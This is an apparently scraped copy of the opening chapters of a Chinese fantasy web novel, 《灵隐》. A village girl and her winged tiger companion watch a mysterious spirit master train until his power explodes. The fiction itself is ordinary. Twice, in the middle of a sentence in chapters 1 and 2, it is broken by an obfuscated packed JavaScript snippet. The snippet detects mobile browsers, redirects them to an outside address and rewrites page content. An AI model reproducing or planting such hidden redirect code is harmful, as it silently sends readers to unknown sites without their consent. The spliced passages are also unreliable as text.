《灵隐》 1. 首章 《灵隐》正文/米狸 1. 夜半雨疏风骤,簌爽间解了连日炎热,叫人睡得酣甜。 卯时方至,巫寻月便听见院内传来了动静,迷蒙间意识到是姐姐起了,可这天色明明还漆黑一片——姐姐向来是辰时起的,该天光大亮才是。 还等不及她担心,就听见巫画荻踢翻了东西一声惨叫:“——哎呦!”她特意压低声音,是怕惊醒了妹妹。 巫寻月这才放心了。那是捣药用具,巫画荻总是习惯随手丢在屋檐下,时不时就要踢翻一下。 头脑清醒了些许,巫寻月明白过来,今日是桑家过来收药的日子,姐姐昨日便说要早起,可没想到早起这许多,想是夜里听到下雨,要早早再去仓库检查药材。 虽然答应了早上去帮姐姐,可这个点她实在是起不来——辰时也未必能起来,她哪天不是等先生上门坐下看茶了,才匆匆被叫起梳妆的? 巫寻月埋头就睡着了。 再次醒来时,日上已三竿。巫寻月惊觉坐起,张嘴大喊:“木香!” 院内传来回应:“哎——” 木香一阵小跑过来,进了门就听见巫寻月问道:“什么时辰了?” 木香笑答:“小娘子,今日旬休,先生不必来上课……” “——什么时辰了?” “巳时有二刻了。” “完了完了完了。”巫寻月一刻也不敢耽搁,麻利起了身。木香一边给她找衣服,她一边念念叨叨:“桑家人肯定已经到了,姐姐那边肯定忙得不可开交,我说好了要去帮忙的,你怎么没叫我?” 木香笑意婉婉:“小娘子,大娘子说了你不必过去,你读书辛苦,今日旬休任你想睡到几时,让我不必喊你。” 巫寻月不与她多说,很快出了门,解开拴马桩上的牵绳,利落上马扬长而去。药铺离家不远,平日她多是步行,今日实在是着急了。 穿过街坊来到闹市,巫家药铺开在邬戍城里最繁华的地方,等近了,果然看见桑家的车马已停在那里,却空着还未装货。 巫寻月下了马,进门看见巫画荻正与几人笑谈,往时桑家负责来收药的人她都认识,今天却多了几张生面孔。双方互相打量间,巫寻月走近店里伙计,问:“桑家今天来晚了吗?” 伙计答:“是啊,说是路上有雨耽搁了,正跟掌柜对数呢。” 巫寻月又问:“换了人了?” “对,说是轮岗。” 另一头,桑家来的都是男子,其中一人目不转睛地看着巫寻月,几乎忘了呼吸:“这……就是你们说的乡野仙子?这哪里乡野了?” 旁人一阵嬉笑:“倒不是我们嫌这乡野,是她自己喜欢往山野里瞎跑。” “我在神都都没见过这么好看的姑娘……” “实不相瞒,我也是。” “可惜了,神都到邬戍城千里之遥……” 闲谈间,巫画荻已对好了数,招呼伙计把药品往车上搬,大家各自忙碌起来。 邬戍城地处西南,雨水充沛,草木繁茂,灵气尤为至纯,因此生长出许多灵草,种类多,品级高,即便千里之遥,医药世家桑氏仍愿意每月来此收药。 城里做药材生意的很多,这里离人族所居住的山海部洲不远,不乏来此求仙问道的人族,邬戍城不光做灵族自己的生意,也做人族的生意。 伙计正往外搬箱子,桑家领头的见到箱子上的字样,便喊住伙计过去查看。领头的打开箱子,只看了一眼,便喜出望外地道:“天哪巫掌柜,您这是又从哪找来的仙品灵草啊!” 巫画荻笑言:“还不是月丫头在山里瞎跑采到的。” “我们东家交代这次来重点收养灵芝,您这是我见过的品级最好的,您怎么也不说一声,仙品那可是另外的价钱!” 巫画荻一向爽利:“仙品就那么几朵,下面的都还是臻品,就当送你们了。” 领头的都不好意思了:“巫掌柜,您怕是不知道吧,仙品灵草非同一般,生在丛林深处极难发现之处,我们一年都收不来一箱,就光这几朵就抵得上整箱臻品的价钱了。” 巫画荻闻言一怔,笑意倒是未减:“我知道仙品灵草贵,可我们平头百姓不修炼,要来也是无用,邬戍城是个小地方,没来过什么厉害的灵师,一般灵师也用不到仙品养灵芝,丢我这暴殄天物,你们呀大老远来一趟,就别客气了!” 巫画荻为人大方爽快,不光药材品级是城里一流,价格也相当公道,这正是巫家药铺能够杀出重围,成为桑氏指定供应商的原因。 巫画荻明白,她一介女流要在一众男掌柜中屹立不倒,唯有靠紧桑氏这棵大树,只有手握与桑氏长久合作的筹码,才能保证巫家药铺长盛不衰,也才能让自己和妹妹在邬戍城中不被看轻。所以,几颗仙品灵草又算得了什么。 领头的知道巫画荻的性子,不再多坚持,临走却不忘给巫寻月多塞了些珠宝首饰,告诉她:“这些都是神都时兴的款式,各府贵女都喜欢,我们东家知道你喜欢,让我们给你带的。” 果然,巫寻月迫不及待地打开了木匣,瞧见满当的钗环首饰,满声满眼的欢喜:“哇——这么好看!谢谢东家姐姐!” 临走了,领头的不止一次地问道:“——野丫头,你到底是怎么采到那些仙品灵草的?” 这一次,巫寻月当然也胡说八道。 桑家人走了,店里接着忙活午饭。巫画荻让巫寻月留下吃午饭,巫寻月掐着一算,时间有些赶,便匆匆说:“不吃了不吃了,我下午出去玩儿,要先回去睡个午觉。” 正说着,伙计从后厨端了两个大肉饼出来,朝她喊:“小娘子,我就猜到你急着去玩不吃饭,一早先给你备着的——喏,还是两个大肉饼,热腾腾的,趁热吃啊。” 巫寻月一边道谢,一边接过比自己脸盘子还大的肉饼,转身就走。 巫寻月解开栓马绳时,巫画荻跟了出来,神色比方才肃正了些,道:“阿月,桑家人今天提醒了我,仙品药草生长之地大多危险,可我看你怎么每天回家都生龙活虎的,就没多想,你是怎么采到那养灵芝的?” 巫寻月满不在意:“哎呀姐姐,你听那些城里人胡说呢,没见过等于危险呗,他们哪知道这在我们小地方山里到处都是,随便就捡到啦。” 巫画荻还想说什么,见她淡然无畏的样子,又匆忙要走,便也懒得多心了。 巫寻月策马跑了,巫画荻还在身后喊:“别骑那么快!小心撞人!晚上早些回家!” “知——道——啦!”巫寻月没回头,芊芊裙影随风远去,在街巷尽处一转,消失在午间明媚的阳光里。 伙计跟了出来,打趣道:“掌柜的别担心,小娘子机灵着呢。” 巫画荻又挂上了那般欣慰的笑意,看起来已不像是担心。转瞬间,她眉心一蹙,道:“你说她每天吃这么两个大肉饼,怎么身子骨还这么瘦呢?” 肉饼挂在马上,巫寻月一路策马出城。 邬戍城被灵山环绕,独留一条河谷通往外界,往东北去是神都,往南沿河入海,茫茫大海的对岸,是人族山海洲。那是只有灵师们才能去的地方,平头百姓是去不了的——灵族普通平民甚至连自己长隐洲的神都也未必有机会见到。 在邬戍城外诸多灵山之中,巫寻月最喜欢去垩山,因为那里除了她,几乎无人敢涉足,独留一方世外天地。 巫寻月把马拴在树下,不忘拿肉饼,徒步走向垩山的重重浓雾之中。乡亲们传说这里有山神,山神不喜欢让人靠近,见过山神的人都说山神有一双会发光的大眼睛,其他一概未见,山神两个鼻孔一呼气,就把人扇到了山外。 巨树和怪石遮天蔽日,沿着小路深入一片幽绿,渐渐穿过迷雾,不远处隐若传来光亮,巫寻月并不着急,哼着小曲蹦蹦跳跳地往前,随着光亮明晰,视野也变得浓墨重彩。 离开迷雾,迎接她的是一个五彩斑斓的世外桃源,繁茂的奇花异草延绵数里,与一片密林接壤,古树参天,幽密交叠,最远处能看到倾泻而下的瀑布,水汽蒸腾,将大片丛林没入其中,显得极为神秘可怖。 在这里,好像所有事物都是放大的,大大的花叶,大大的树木,大大的瀑布,巫寻月纤小的身形潜入花海之中,若是离得稍远些都快要看不见了。 巫寻月走向丛林边上一棵巨树,一个箭步起跳,灵巧辗转间,人已坐上树干。巨树绿叶遮天,她人已藏于绿影,皱皱眉,道:“我来早了些。” 巫寻月打开装着肉饼的纸包,才咬下一口,树顶深处幽幽地探出一只巨兽的脑袋,悄无声息凑近她,毛绒绒的脑袋比她一团人都大,獠牙处流出柱状口水,大嘴一张,巫寻月看起来根本不够它塞牙缝。 然而,巨兽像个小偷一样,“——嗖”一个来回,想来个出其不备,却在巫寻月意料中一般,她快速地收了手,把肉饼护在身后。 巫寻月回头,那个毛绒绒的巨大虎头已后缩,稍稍拉开与她的距离,圆溜溜的黑眼睛直勾勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674277|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着她,看起来很无辜。巫寻月摆出巫画荻那般长姐架势,训斥道:“小妞儿,我是不是说过,想吃肉呢,就得先乖乖表示?” 小白像个犯错的孩子,老实巴交地不动,有些不服,眼睛不时瞟向肉饼,垂涎三尺,还是选择了屈服。小白乖乖凑向她,藏在树影间的巨大的身子又现出一些,脊背上一双翅膀收拢着,整头身子紧趴树干。 小白哼哧哼哧地贴向巫寻月,巫寻月不忘提醒道:“别伸舌头,你一舔我肉就没了;别哼气,你一哼我人就被扇走了。” 小白乖乖照做,只拿脑袋轻轻拱了拱她。巫寻月很满意,把一个肉饼给了她:“小妞儿真好。” 比菜盘还大的肉饼,到了小白嘴里如黄豆一般大小,嘴巴一张一合,没了。巫寻月拿出另一块自己的,咬了一口,津津有味地等着看它的表现。小白又傻傻地凑了过来,像小猫一样拿鼻子轻轻拱她,巫寻月发笑起来:“哈哈哈哈好啦好啦,好痒——给你。” 巫寻月把剩下的肉饼一分为二,一人一兽,人吃半个,兽吃一个半。小白解了馋,开心地伸个懒腰,翅膀一张,竟是大于身子数倍,微微一扇,惊走成群飞鸟。 人们口中的山神正是小白,一头巨翼白虎,体型有普通老虎五六倍之大,奔跑起来震动天地,双翼尽展,便是一阵烈风。 巫寻月不知道小白什么时候起在这里的,六年前她还只是个九岁小儿,就在邬戍城外山间瞎跑,误打误撞进了垩山,那时姐姐也每日给她做两个肉饼,巫寻月发现肉饼总是神不知鬼不觉便不见了,起初以为被野兽叼走,直到一天她忘了带,小白竟直接现身,期盼的眼神似是在向她讨要肉饼。 从那以后,姐姐做的肉饼越来越大——天知道都长谁身上了。 作为交换,小白驮着巫寻月在这山间自在驰骋。小白很调皮,有时高速俯冲吓唬她,有时故意穿过瀑布将她淋湿,有时在空中转体将她抛下,又迅速俯冲接住她。山谷间回荡着巫寻月清爽的欢笑,每次来垩山,她都要很晚才恋恋不舍地回家。 小白带她走过垩山每个角落,自然,也就见到了无数藏在极其危险之处的仙品药草。 眼看四下宁静,巫寻月问小白:“我是来早了吗?” 小白“哼”一声,表示是的。 她似乎在等什么。 既然来早了,巫寻月便往小白身上一靠,整个人陷进毛绒真皮软塌里,闭上眼:“那我睡个午觉,早上去帮姐姐忙,好困哦。” 巫寻月真睡了,小白的脑袋也往手上一耷拉,跟着睡过去。 天光炫彩,穹顶湛蓝,山谷安然享受着午间的静谧。 半个时辰后,一阵风起,熟睡的巫寻月倏然睁眼,感知到了熟悉的气息。 ——他来了。 广阔花海间猛地掀起了波澜,一阵凌疾的气流裂空而来,瞬息间,花海风浪之中赫然现出一道白色身影,待他步履落定,随风掀起的长袍下摆也跟着垂落,一尊人影稳当而立。 一支金簪穿过云纹锁玉金冠将头发半束,半发散在身后,两鬓留有发丝,多偏于左,模样看得不真切,唯一双幽渊般的眼眸尤为醒目。身着一袭银白暗纹窄袖交领外衫,内衬及外着色层次递进,玄黑缀金蹀躞与护腕相衬,兽面踏云组配长坠于前,华贵昭彰,气度超尘,只是立在那里,便已威凛自成。 司城凛没抬眼,似乎不需要用视觉来确认周遭有无危险,他照惯例先从腰间取出一只小罐,往手心轻倒,后抬手于眼前虚抹,再睁眼时,整座山谷就已变成散发着细密蓝银色荧光的模样——灵气可视化,像这样至醇至厚的灵气盛景,在整个长隐洲别处也未多见。 例行探测结束,司城凛取出另一个水滴外形般的小石器,往顶上一举,尖端处电闪乍现,一点金星直冲天幕,于极限处迅速裂变,无数金丝如雨落般沿着无形的“伞面”坠落,坠后无痕,只在偶然日光眩目时,才得以一瞥那层薄膜隐现。 他在编织结界,待这些金丝落地,一个牢不可破的空间夹层便生成了,无论他在里面使用了破坏性多强的灵术,都不会对现实空间造成任何损毁。 结界还未完全落地,司城凛已开始调息,几个时辰奔波千里至此,他需要一点时间让自己恢复最佳状态,好开始这一次的修炼。 司城凛全然未曾察觉远处那座巨树里的目光,而目光的主人,已经看了他很久了。 巫寻月拿手肘戳了戳小白:“他开始了他开始了,你说,他这一次来会进步多少?” 2. 第 2 章 小白全程没睁过眼,似乎就没睡醒,呼吸间带出奶臭奶臭的气味,乍一闻嫌弃,等习惯了,竟还觉得舒服了。 巫寻月往小白身上一锤:“喂,山神大人,你不能因为人家没你强你就觉得人家没进步好不好?他是我见过灵力提升最神速的灵师了,我现在在这坐着跟你说话很有压力的好不好?” 小白实在烦她吵,给个面子“哼”了声,转头背了过去。 巫寻月回过头,望向正凝神调息的司城凛。 他当然没有小白强,至少现在没有,否则不会察觉不到小白的存在。可他的确也是她见过最强的灵师了,还要谢谢他,不然她还不知道这小虎妞儿还真有两下子。 灵师动用灵力,就会产生灵压。他最开始来的时候,灵压只是令她感到难受,行动还能较为自如,还好有小白为她护体,使她可以恢复如初。可很快,他的灵压给她的压迫感竟每每剧增,到了今天,若是没有小白,她现在已几近窒息。 这意味着,每一次他的灵修都有大幅提升。 他来了快两年了,每隔五天来一次,一来就是两天,雷打不动,风雨不辍。她猜,他的工作上四休三,因为他得有一天时间来回。 ——他当然来自很远的地方,他每次来都要先调息良久。她也不是没打听过,但在邬戍城根本打听不到有关他的任何消息,甚至大家听了她的描述,都觉得如话本般不切实际。 他肯定很有钱。他的衣物、饰物,他使用的那些稀罕器具,都远超普通人所能见识。她观察过桑家那些从神都来的人,丝毫不能与他相提并论。 他很高。虽未曾相近,但他一袭长衫高大立挺,练功时大片衣料飘然,裁缝铺掌柜说过,制衣用料多的人,非高即胖,但他宽肩窄腰,身形精干,线条硬朗,毫无多余——喔,他脱过上衣,不止一次,练久了被汗水浸湿,他就会脱衣服。 他的灵修远超普通灵师,她不知道那是什么概念,只知道在邬戍城这样的小地方,她见过的其他所有灵师加在一块,他也可以一招制胜。 虽然一直未曾看清他的眉目,但可以确定的是,他几乎不笑,也没有多余的表情。 司城凛调息完毕,催动灵力,开始练功。霎那间,山谷间乌云密布,吞天沃日,他的身形没入黑暗,不时一道灵光如闪电般映现,才得以见到他在空中飘逸施展。 结界隔绝得了声音,却隔不断震动,界壁上不时传来震天响动,连带着大地一同震颤,令人不免担心结界是不是要扛不住了。 “明天我不来了,”巫寻月对着远处小声说,“明天是我生日,家里要来客人,所以不来了,你要加油哦。” 第二天是巫寻月的生日,这一年,她十五岁。 巫画荻一大早就起来准备给妹妹忙活生日宴,寿星本人却照常睡懒觉。快到午时了,巫寻月才隐约听见廊下传来声音:“……那是媒婆?来给掌柜的说亲?” “你傻呀,挑今天来,那当然是冲着小娘子了。” “又来?不是都跟她说了不许她再上门给小娘子说亲了。” “谁让我们小娘子姿容倾城,高门大户都争着呢,不过,城里好些人家十五岁的姑娘都嫁人生子了,倒也是常事……” 一番偷听,巫寻月彻底醒了。她并不担心姐姐会听从媒婆给她议亲,姐姐早就告诉她,神都的女子十几岁尚在学龄,最早也要十八岁才能学成毕业,神都女子能读书识字,为什么她妹妹就要早早嫁人侍夫? 姐姐希望她找到自己喜欢的事,自己喜欢的人,有自己的理想和向往。到了那时,无论她说想去做什么,去哪里,姐姐都会支持她。 姐姐,是巫寻月在邬戍城里意气风发、张扬恣意的最大底气。 果不其然,没过多久,外头就又传来对话:“哎,你看,媒婆走了。” “我就说嘛,掌柜的肯定不会让小娘子这么早议亲的。” 门外的声音远去了,巫寻月的心里却怎么都再静不下来。 “神都……”她睁大眼睛望向天花板,一动不动,却望眼欲穿,“我什么时候可以去神都看一看啊……” 之后负责来喊巫寻月起床的不是木香,是巫寻月的好朋友秦艽:“阿月快起!今天你生日,我给你带了我做的炸双刀叶饼!” 巫寻月一听可再也不困了——这道邬戍城的地道小吃,是秦艽的招牌作。双刀叶生成两把刀背对的模样,到处长在邬戍城外,可食用,煮食却有些涩口,后来不知谁先发现用油炸过的双刀叶别有风味,就此传开,经过多年发展,人们往里加了各种馅料做成不同口味,如今变成了邬戍城街头巷尾必不可少的一种小吃。 待秦艽陪巫寻月梳妆完毕,她第一件事就是坐下来啃起了双刀叶饼,一连啃了三个,木香不得不提醒她:“小娘子,今天你生日,大娘子做了好多菜呢……”她这才打住。 巫寻月今日还有一项任务,在生日宴前,要去一趟灵宗庙上香祭拜。秦艽陪她一同前去,寺庙在城外,有些路程,马车上了路,秦艽便主动问:“前几天桑家要来收药,我在家帮我阿爹忙不得空,先生都给你讲了些什么新内容?” 秦艽满眼期待地看着她,巫寻月也不吝于与她分享,秦艽一边听得津津有味,一边难掩羡慕:“真厉害呀……” 秦艽她爹在帮巫家药铺管理草药种植,她上头还有两个哥哥,他们每日去都去学堂,她却像邬戍城大多数女子一样不能读书,她爹便让她留在家里学习种植草药,将来能有一门傍身的手艺。 看着巫寻月头上那支桑家人从神都带来的花赶蝶镶珠流苏银钗,秦艽有些出神地说:“阿月,你说,神都女子真的都能上学吗?” 巫寻月说:“我听说,神都女子不光能上学,还都有自己的工作,总是惦记给我带首饰的桑家姐姐正是那些人的东家呢。” “真羡慕呀……” 见她声音弱下去,巫寻月突然抓住她的手,说:“阿艽,如果我想去神都,你以为如何?” “那自然是太好了!”秦艽眼里的光亮燃起不久便熄了几分,“可是,我们这些外乡女子,去神都又能做什么呢?神都实在是太远了……” 是啊,神都太远了,去了神都,她又能做什么呢? 这真是巫寻月现下最大的烦恼。 灵宗庙所祭,正是灵族始祖十八灵宗。一进庙内,就听见有人在给自家幼童讲述灵宗传说:“传说千万年前灵兽横行,捕食灵族人,灵族中有十八人率先修炼出灵术,开启了灵族与灵兽抗衡的时代,所以才有了灵族繁衍生息……” 幼童追问:“爹爹,那现在还有灵兽吗?” “有呀,现在留下的都是好灵兽了,等你长大些,爹爹带你去山里看灵兽。” “爹爹,那坏灵兽都去哪里了?” “这……爹爹也不知道,大概是都被灵宗消灭了吧。” 走进寺庙正殿,左右两侧分列六尊灵宗雕塑,还有六尊在正面主位,除了还不懂事的幼童,全长隐洲无人不知无人不晓,这主位上的六尊,才是真正奠定了灵族繁衍基业,开创了灵族社会制度,主宰了灵族发展一切所需。 所以,六位灵宗及其族人被尊为六大宗族,他们的后人千万年来始终是灵族至尊——除了后来没落的弥家,最后一次听到弥家的消息已经是几百年前了,现在,人们也已习惯改称五大宗族。 邬戍城地处偏僻,先生学识有限,书局里书本资源也有限,普通灵族百姓所知道的,差不多也就是这些了。 巫寻月烧了把香,给十八尊神位挨个作揖礼拜,最后照惯例来到正位左数第二尊面前,屈膝往拜毡上一跪,连磕三个响头。 ——这是桑家始祖桑比农,尊号比农宗。 ——正是司掌医疗的那个桑家,巫家姐妹背靠的大树,所以,巫寻月不拜他拜谁? 磕了头,巫寻月直起身子,闭眼合十,在心底默念——比农宗保佑,今天是我生日,想来跟您许愿,我想去神都,哪怕去看一眼也好。 巫寻月起了身,见秦艽还在祷告,便到一旁等她。 她闲来看向神位次序,按照这个位份,桑家应在六大宗族中排第三。桑家司掌医疗,邬戍城又盛产草药,所以在这里桑家始祖面前的贡品当属最多。 与比农宗的盛况相比,左边挨着的神位可就显得冷清多了。可按位次来说,六尊中此座居中在右,乃是最最至尊之位——凌海宗,司城夫。 此时秦艽也起了身,似乎也注意到了这个问题,说:“你说为什么凌海宗排位居首,在庙里香火却这么少呢?他是管什么的呀?” 巫寻月压低声对她说:“先生前日才说与我听,司城家掌管各种灵器铸造,那是灵师们才用的东西,跟我们平民没关系,我们这没几个灵师,所以凌海宗香火不旺。先生说在灵师居住的神都,凌海宗的香火可是最鼎旺的。” 秦艽想了想,说:“也就是说,六大宗族是我们灵族之首,司城家掌管灵师们的武器,所以司城家是六大宗族之首?” “没错。” 离正殿出口最近的一座神位,是空的。也就是说,十八灵宗的最后一宗并无神位,只挂了块牌写上名讳——爻炀宗。 每一个第一次来寺庙祭拜的孩子都会询问:“为什么这里没有神位?” 他们的父母也都一知半解:“传说是爻炀宗还在世,可也只是传说,毕竟都多少年了……” 回到家里,宴席已经备好了。今天来了族中长辈、店里伙计,还有巫寻月平日的玩伴,众人举杯祝贺时,眼看妹妹又长大了一岁,巫画荻泪洒酒中。 许愿时,巫寻月重复了一遍在灵宗庙中的愿望。 可之后她与朋友到一边玩耍,听到亲戚们正苦口婆心劝巫画荻:“你们爹妈不在,你一个人拉扯阿月不容易,别把自己也耽误了……” “蓝家公子为人不错的呀,很有才学,蓝家又是城中首富,阿月嫁过去这辈子还愁什么,上次你怎么把人拒了呀……” “你们姐妹俩总要先有一个成家,要是阿月先嫁了人,你的担子不就轻了吗……” 巫画荻立时变了脸:“阿月不是我的担子!我的妹妹,想做什么要由她自己定!” 宴席散了,入夜,巫寻月辗转难眠。姐姐的话语和泪水不断重映,她不知道自己要如何去跟姐姐开这个口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674278|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更不知道自己是否应该开这个口。 ——若她真离开姐姐去那么远的地方,姐姐怎么办呢? 不知过了多久,巫寻月依旧没有睡着。她似乎没有发觉,今夜过于安静了,静得没有任何自然的声音,夜间该有的虫鸣鸟叫,全都消失了一般毫无动静。 幽暗的空气中蛰伏着一股波动,似是人间天灾降临前的异象般诡秘。巫寻月还未从愁思中回神,待她惊觉有异之时,只一瞬,暗夜中涌动的神秘力量便已排山倒海般袭来,顷刻将她压制于万钧之下。 首先是动不了了。她能感觉到床榻在微微震颤,眼前的一切却都没有变化,屋内的摆件、窗台的花瓶都如常安置,似乎什么都没有发生,空气中却存在着一座看不见的大山,不仅以绝对碾压的力量将她的动作钉死,连带思考、呼吸的能力都变得迟滞,物理和精神受到全面控制。 巫寻月下意识张嘴尖叫,却发不出任何声音,听不见任何声音,全世界的声音都被抽走了一般,大脑中只剩下自己因过度惊惧而产生的急促呼吸和心跳声,任何想要逃逸的声音都被强压下去,只在骨传导间徒劳地挣扎。 这股全面压制的力量如同从天而降的神罚,天经地义地昭示着,对方仅仅是存在,就只能让人陷入等待被灭杀的绝望。 ——是他的灵压,她太熟悉了。 他的灵压前所未有地暴动着,从垩山爆裂而出,如海啸般席卷了整座邬戍城。她能感觉到现在的灵压与他以往产生了不同,确切说是根本不同,在力量上有云泥之别,更张狂,更强大,强大得可怕,以往若是还有一丝扛过的期待,现在只剩下了彻底的绝望。 要如何形容这种感觉呢,与之相比,什么鬼压床、瘫痪、植物人都显得胡闹了。此刻她清醒、理智,却窒息、痉挛,明明空气中什么都没有,房间里一切如常,却清清楚楚地感受着被万钧之重镇压的痛苦。 巫寻月强制自己保持冷静,静待时间一分一秒过去,不知过了多久,她终于感知到他的灵压褪去,身上的压制感瞬息间消失得无影无踪,仿佛根本无事发生。而她不能立刻活动自如的发麻乏力感证明了,刚才的一切都是真的。 巫寻月掀开被子,跌跌撞撞地起身,顾不上穿外衣,冲着姐姐的屋子跑去。她开门看见巫画荻平躺在床,任她呼唤、摇动也始终不见回应。巫寻月给姐姐把了把脉——果然是昏迷了过去。 还好她熟悉姐姐的屋子,摸黑也能精准找到她需要的药丸。给姐姐服下后,巫寻月去了木香的房间,果然她也昏迷了。看来如她所想——整座邬戍城都受到了波及。 来不及细想,巫寻月回屋拿了件披风,出门策马出城。此时已是深夜,百姓们几乎都在睡梦之中,偶见值夜的打更人,全都昏倒在了大街上;平日通宵达旦的酒楼,此刻也变得一片静谧,宾客与店员倒成一片。 ——不知道他怎么样了。 “——驾!”巫寻月一挥鞭子,加速冲去。 来到垩山垭口,巫寻月竟见到她习惯栓马的那棵树下,一头巨大的灰翼白虎端坐在那里等她。巫寻月下了马,飞奔过去:“小白——” 见到她,小白站了起来,恰好与她齐高,巫寻月抱住它半个脖子,急促地道:“发生什么事了?他怎么了?我突然感觉到被他的灵压压制,姐姐和所有人都晕过去了……” 小白凑近与巫寻月碰额,让她感知它的想法:“你是说他们会没事……你是说是因为他灵爆了,灵爆是因为他修成了新的力量,这种力量很可怕,是吗?” 巫寻月试着理解这些含义,再接着问:“他现在怎么样了?你是在等我吗?你知道我会来……我要是再不来,你就要去找我了?他这次非同一般,你怕我扛不住,是吗?” 那个人来这里修炼了快两年,小白从未正眼看他,也正是因为他构不成威胁,小白才如此大方地允许他在此修炼——当然了,也因为巫寻月喜欢观察他。 可今天,小白竟走出垩山等她,甚至要去城里找她。 巫寻月不修灵术,直到现在她也不知道小白的灵力究竟是什么概念,但现在她能领悟的是,刚才那样强大到令人绝望的力量,才终于足够引起了小白的担心。 虽未完全理解,但巫寻月更急于知道那个人现在的情况,小白却一直没回答她。小白在她身前绕了一圈,然后屈肢趴下,示意她上来。巫寻月矫利地跳上小白背后,待它猛地蹬地,腾空而起,朝山谷深处飞去。 见到变得有些狼狈的山谷,巫寻月惊呆了。视线尽处,石山被劈成两半,冲出巨大水量,瀑布倾泻而下的呼啸声更甚;站在最前排的巨树一边倒,明显被来自同一侧的巨大力量所冲击;明明昨日还繁茂缤纷的花海,今日被掀掉了半个山头,只留下杂乱的草根与土壤。 还在半空时,巫寻月就看见了他。他呈大字躺在杂草堆之中,一头乌发尽数散开,遮住他大半张脸,全身衣物被震碎成千百残片,散落四处,因此…… “啊——”尖叫的人是巫寻月。 小白飞得近了,待看清他,巫寻月吓得赶紧躲回头,整张脸变得通红。 他身上没剩下一块衣料。一块,都没剩下。 3. 第 3 章 小白不明所以,持续靠近那个人,到了他身边便缓缓下降,见它停住了,巫寻月更是变得精神错乱一般大叫:“啊啊啊——小白我们快走!快走啊小白!” 巫寻月跟疯了似的乱抓小白的毛,惹它不耐烦地低吼了几声,很是莫名其妙——不是你让我带你来的吗?你在鬼叫什么啊? 小猫咪哪里知道人类不穿衣服是羞耻的事,更不知道没嫁人的小女孩看到陌生男子的裸体意味着什么。 ——天哪!怎么办怎么办怎么办? 巫寻月还缩在小白背上不敢动,双手把整张脸捂住,清楚地感受到自己的脸有多滚烫。 那个男人就躺在那里,一动不动,全无意识,她俩在这闹腾了许久也全无反应,不知道到底如何了。 巫寻月最终还是决定下去看看。她努力平复了心跳,深吸口气,背对着那个人从小白身上下去,接着一步一步慢慢倒退,终于来到那人身边。 她还是没敢回头,从余光中看到,他已在她脚下。 可只是那么一瞥,就让她突然不顾一切地回了头—— 昏迷的男人双眼紧闭,面无血色,眉骨立挺,鼻梁高挑,嘴唇掉了皮有些发白,下颚角勾勒得过分立体,整张脸硬朗凌厉,即便如此昏死,也难掩英气逼人。 巫寻月看呆了,这是她第一次这么近地看见他,竟是能看得这样仔细。 他果然很英俊,比她能想象到的要英俊太多,甚至都不像是这世间凡物。 他果然很高,尤其是现在,长胳膊长腿的,她猜自己都够不到他肩头。 他比她远远看到的还要精壮结实,身体线条处处紧实饱满,透着极致的阳刚之气。 也不知道他究竟是什么年纪,他看起来没比她大多少,可也没有半分少年稚气,总之绝不像十几岁的少年郎。 她呆呆地看了好久,才想起来问:“小白……他怎么了?他不是有结界吗?怎么会这样?” 小白走到她身边,用鼻子轻触她的手,巫寻月立刻感知了它的思想:“他进入了更强的境界,但修炼进展过快,身体扛不住这么多灵力在极短的时间里大量增加,所以产生了灵爆,他的灵爆强到冲破了结界,所以变成了这样……这很危险,他扛住了没让自己失去意识异变,但是捱不住晕了过去,是吗?” 小白哼了哼气,抬起头来看她。 巫寻月严肃地看着那个人,郑重地说:“小白,我们得救他。” 小白一副拿她没办法的样子,重重地吐了口气,就要张嘴去叼。巫寻月赶紧止住它:“哎哎哎别——我……我来……” 倒不是她想趁机占人便宜,她怕小白下嘴没轻重,把他伤了事小,万一留下牙印就瞒不住了。 可要把一个大男人扛起来哪是她一个小姑娘能完成的,光是把他的胳膊抬到她肩上将他上身扶起就费了她九牛二虎之力,还是小白帮了她大半的忙,才终将他搬到了小白背上。 巫寻月扶着他,小白腾地而起,飞向山谷深处。 “小白,他是不是已经很厉害了?他现在跟你比,谁更厉害?”巫寻月灵动的声音雀跃在风里,她看到小白偏了偏头,却没搭理她。 巫寻月笑着拍了拍它的背,说:“我不是真的要跟你比,我只是在想,如果他变得比你厉害了,是不是就能发现你的存在了?他还会继续来这里修炼吗?可是……他都已经这么厉害了,就算还没发现你,他还要修炼到什么程度呢?灵师到底要练成什么样才行呢?” 小白还是没有搭理巫寻月。它听明白了她的意思,却不打算回答她。 ——它当然不想她真的进入灵师的世界。即便它从一开始,就察觉到了她的天赋。 一夜过去了,天亮之后,邬戍城开始了新一天如常的忙碌,商铺开市,农夫劳作,孩童玩闹,灵师修炼,驻兵巡防,一派祥和生机,仿佛昨夜那番惊天动地之势从未来过。 尘世一切照旧,而一山之隔,垩山山谷却是彻底变了模样,花还会再开,叶子还会新长,水流源源不断,可被劈开的山峰不会再合上,那道笔直的裂痕将永远横亘于天地间,就此见证长隐灵洲诞生了又一位拥有毁天灭地之力的灵师。 而这位灵师,正躺在草堆里,被一个小姑娘偷看。 最先复苏的是听觉,司城凛听到耳边有潺潺流水,稍再细听,便能判断那水流来自山间瀑布,落入水潭后经撞击数座磐石改变了方向,往东南方向流出。再细听,就能听到其中夹杂着缓慢的水滴滴答,继续放大听觉,原来是石头上的一片叶子里盛着水,正一滴一滴从叶尖缓缓外落。 